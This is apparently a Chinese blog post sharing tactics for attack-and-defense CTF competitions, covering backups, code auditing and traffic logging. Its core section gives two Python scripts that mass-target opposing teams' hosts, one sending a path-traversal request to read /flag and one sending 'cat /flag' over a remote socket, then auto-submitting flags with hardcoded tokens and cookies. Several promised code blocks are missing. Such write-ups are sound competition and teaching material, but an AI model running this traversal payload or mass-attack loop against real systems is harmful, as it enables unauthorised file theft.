0x01 写在前面
其实参加A&D模式的比赛蛮多的,但是一直没想写~
这次打的成绩还不错,就写一下我的经验吧~
后续如果大佬给了新思路将会及时更新的😊
0x02 文件备份
无论是Web方向还是Pwn方向,对于环境的备份都是最重要的。
无论是因为自己在修复过程中导致的无意间Check Down
还是因为被恶意攻击导致的Check Down
,如果我们有源文件,我们都可以进行应急恢复,防止宕机导致的大量扣分。
注意⚠️:在大部分比赛中,Check Down扣分会非常的多,一般是宕机失分要大于被全场攻破失分,并且你的失分会被均分给其他的服务正常的队伍。(而不是像少部分比赛,宕机都不痛不痒)
此处要特别防备自己的站被攻击者恶意删站,并且尤其要做好数据库备份,在某次比赛中,我们就是被删除了数据库导致整站恢复也没办法顺利的恢复服务😭
Pwn的备份自然就是源文件备份即可与Web的源文件备份相同,使用FTP工具即可。
Web的数据库备份命令为:
0x03 白盒自动化代码审计(仅Web)
话说哪位大狮虎有PWN的白盒审计工具请发我一份谢谢🙏
源码备份之后就开始进行自动化的Web白盒审计,此处可以先用D盾做快速扫描,及时修补后门,之后配合Seay源代码审计工具扫描后续可疑点,也可以配合Nessus做简单的黑盒漏扫~
0x04 Pwn文件常见漏洞识别
主要做一下常见的漏洞函数识读,查找栈溢出的常见点,各种I/O函数等危险函数,确定漏洞存在可以先尝试修复,修复漏洞可以参考我的另外一篇文章关于于二进制文件的patch方法。
0x05 批量化攻击&自动化提交flag
这里这是我本篇文章较为核心的地方,下面给出两个脚本,大佬也可以予以改进~
这是WEB下的批量脚本~
#encoding:utf-8
import requests
script_DEBUG=False
def submit_flag(flag,web_mode):
if web_mode == 'post':
headers={
'Connection':'keep-alive',
'Content-Length':'53',
'Pragma':'no-cache',
'Cache-Control':'no-cache',
'Accept':'application/json, text/plain, */*',
'Origin':'http://172.168.1.25',
'UserAuth':'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IkVSUk9SNDA0IiwiZXhwIjoxNTc1ODMxNzk5LCJhZG1pbiI6ZmFsc2V9.9y1-jlHU20xCYRNcsVGUKn3QJ_-Zqys-fPpSaNZRtO4',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',
'Content-Type':'application/json;charset=UTF-8',
'Referer':'http://172.168.1.25/dashboard/isooncup',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.9'
}
cookies={
}
payload={'flag':flag}
try:
respose=requests.post(url='http://xxx.xxx.xxx.xxx:xxx/submission/commit',headers=headers,json=payload,cookies=cookies,timeout=10)
if script_DEBUG:
print("\033[1;33m%s\033[0m" % ("[DEBUG]提交flag时,服务器的返回值为:"+respose.text))
if(respose.json()['success']=='False'):
return False
else:
return True
except Exception as e:
if("Max retries exceeded with url" in str(e)):
print("\033[1;30;41m%s\033[0m" % "[ERROR]失去了与flag提交服务器的链接!")
else:
print("\033[1;30;41m%s\033[0m" % "[ERROR]发生了意外错误!!!")
print(e)
return 'ERROR'
else:
#请自行补充
pass
def attack_1(ip,team_number):
Problem_name="Web1"
try:
url="http://"+ip+"/blog/api/downloadarticle/?path=../../../../../../flag"
headers={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0',
'Accept':'application/json, text/javascript, */*; q=0.01',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding':'gzip, deflate'
}
cookies={
'style':'qingxin',
'csrftoken':'AhQdJVPyMxnecTxk2BqWG8KXrTER053d7ykXAQlKmlNR2X1doXJqOtQa6JH9uG3I',
're_url':'http://192.168.7.93/admin/',
'PHPSESSID':'6518ca917a5b5888b4acf2ae660c9ffe',
}
respose=requests.get(url,headers=headers,cookies=cookies,timeout=10)
if script_DEBUG:
print("\033[1;33m%s\033[0m" % ("[DEBUG]Payload发送成功!返回的结果为:"+(respose.text).encode('utf-8')))
print("\033[1;33m%s\033[0m" % ("[DEBUG]编号为"+str(team_number)+"的战队的【"+Problem_name+"】的flag为:"+respose.text[1:8].encode('utf-8')))
submit_status=submit_flag(respose.text[1:8],'post')
if(submit_status=='ERROR'):
return
elif(submit_status):
print("\033[1;30;42m%s\033[0m" % ("[Success]编号为"+str(team_number)+"的战队的【"+Problem_name+"】的flag提交成功!"))
else:
print("\033[1;30;43m%s\033[0m" % ("[Warning]我们所获取的编号为"+str(team_number)+"的战队的【"+Problem_name+"】的flag有误!"))
except Exception as e:
if("Max retries exceeded with url" in str(e)):
print("\033[1;30;41m%s\033[0m" % ("[ERROR]失去了与编号为"+str(team_number)+"的战队的【"+Problem_name+"】的环境的链接!(疑似恶意闭站!)"))
else:
print("\033[1;30;41m%s\033[0m" % "[ERROR]发生了意外错误!!!")
print(e)
return
if __name__ == "__main__":
# 不同队伍拥有不同端口的情形
ports=[]
for i in range(19):
if i in [10]: # 白名单
continue
port='1'+str(i).rjust(2,'0')+'80'
ports.append(port)
# 不同队伍拥有不同ip的情形
ips=[]
for i in range(256):
if i in [10,11,12]: # 白名单
continue
ip='192.168.'+str(i)+'.1'
ips.append(ip)
unchange_ip='192.168.100.100' # 不同队伍拥有不同端口的情形
unchange_port='10180' # 不同队伍拥有不同ip的情形
# Attack
for team_number in range(18):
ip=unchange_ip+':'+ports[team_number] # 不同队伍拥有不同端口的情形
ip=ips[team_number]+':'+unchange_port # 不同队伍拥有不同ip的情形
if script_DEBUG:
print("\033[1;33m%s\033[0m" % ("[DEBUG]现在开始攻击编号为"+str(team_number+1)+"的队伍,其ip为"+ip+"!"))
attack_1(ip,team_number+1)
这是PWN下的批量脚本~
#encoding:utf-8
from pwn import *
import requests
script_DEBUG=False
def submit_flag(flag,web_mode):
if web_mode == 'post':
headers={
'Connection':'keep-alive',
'Content-Length':'53',
'Pragma':'no-cache',
'Cache-Control':'no-cache',
'Accept':'application/json, text/plain, */*',
'Origin':'http://172.168.1.25',
'UserAuth':'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IkVSUk9SNDA0IiwiZXhwIjoxNTc1ODMxNzk5LCJhZG1pbiI6ZmFsc2V9.9y1-jlHU20xCYRNcsVGUKn3QJ_-Zqys-fPpSaNZRtO4',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',
'Content-Type':'application/json;charset=UTF-8',
'Referer':'http://172.168.1.25/dashboard/isooncup',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.9'
}
cookies={
}
payload={'flag':flag}
try:
respose=requests.post(url='http://xxx.xxx.xxx.xxx:xxx/submission/commit',headers=headers,json=payload,cookies=cookies,timeout=10)
if script_DEBUG:
print("\033[1;33m%s\033[0m" % ("[DEBUG]提交flag时,服务器的返回值为:"+respose.text))
if(respose.json()['success']=='False'):
return False
else:
return True
except Exception as e:
if("Max retries exceeded with url" in str(e)):
print("\033[1;30;41m%s\033[0m" % "[ERROR]失去了与flag提交服务器的链接!")
else:
print("\033[1;30;41m%s\033[0m" % "[ERROR]发生了意外错误!!!")
print(e)
return 'ERROR'
else:
#请自行补充
pass
def attack_1(ip,port,team_number):
Problem_name="Pwn1"
try:
sh=remote(ip,port,timeout=10)
sh.recvline()
sh.sendline('cat /flag')
flag=sh.recvline()
submit_status=submit_flag(flag,'post')
if(submit_status=='ERROR'):
return
elif(submit_status):
print("\033[1;30;42m%s\033[0m" % ("[Success]编号为"+str(team_number)+"的战队的【"+Problem_name+"】的flag提交成功!"))
else:
print("\033[1;30;43m%s\033[0m" % ("[Warning]我们所获取的编号为"+str(team_number)+"的战队的【"+Problem_name+"】的flag有误!"))
except Exception as e:
if("Could not connect to" in str(e)):
print("\033[1;30;41m%s\033[0m" % ("[ERROR]失去了与编号为"+str(team_number)+"的战队的【"+Problem_name+"】的环境的链接!(疑似恶意闭站!)"))
else:
print("\033[1;30;41m%s\033[0m" % "[ERROR]发生了意外错误!!!")
print(e)
return
if __name__ == "__main__":
# 不同队伍拥有不同端口的情形
ports=[]
for i in range(19):
if i in [10]: # 白名单
continue
port='1'+str(i).rjust(2,'0')+'80'
ports.append(port)
# 不同队伍拥有不同ip的情形
ips=[]
for i in range(256):
if i in [10,11,12]: # 白名单
continue
ip='192.168.'+str(i)+'.1'
ips.append(ip)
unchange_ip='192.168.100.100' # 不同队伍拥有不同端口的情形
unchange_port=10180 # 不同队伍拥有不同ip的情形
# Attack
for team_number in range(18):
try:
if script_DEBUG:
print("\033[1;33m%s\033[0m" % ("[DEBUG]现在开始攻击编号为"+str(team_number+1)+"的队伍,其ip为"+ip+"!"))
attack_1(unchange_ip,int(ports[team_number]),team_number+1) # 不同队伍拥有不同端口的情形
attack_1(ips[team_number],unchange_port,team_number+1) # 不同队伍拥有不同端口的情形
except Exception as e:
print("\033[1;30;41m%s\033[0m" % "[ERROR]发生了意外错误!!!")
print(e)
0x06 流量监控&流量分析
很多时候,主办方并不会给我们攻击流量,我们的环境中也不一定会有流量抓取软件~
那么我们需要进行自行设置流量抓取,对于PHP站来说,可以直接将Log.php
引入。下面给出一个Log.php
。
PHP引入其他文件的命令为require_once(Log.php);
0x07 WAF(通用防御)(违规⛔️)
在A&D赛制下,是严禁上Waf的,一旦被主办方发现,将被处以扣分直至取消资格的惩罚,这里仅给出一个WAF的实例。
(所有缺失内容内容将等待战队Web手(Cardan@SourceCode、void@SourceCode、Leena@SourceCode)写相关博客后引入~)
1 条评论
小蓝蓝的好朋友 · 2020年8月2日 下午10:32
手交flag的比赛么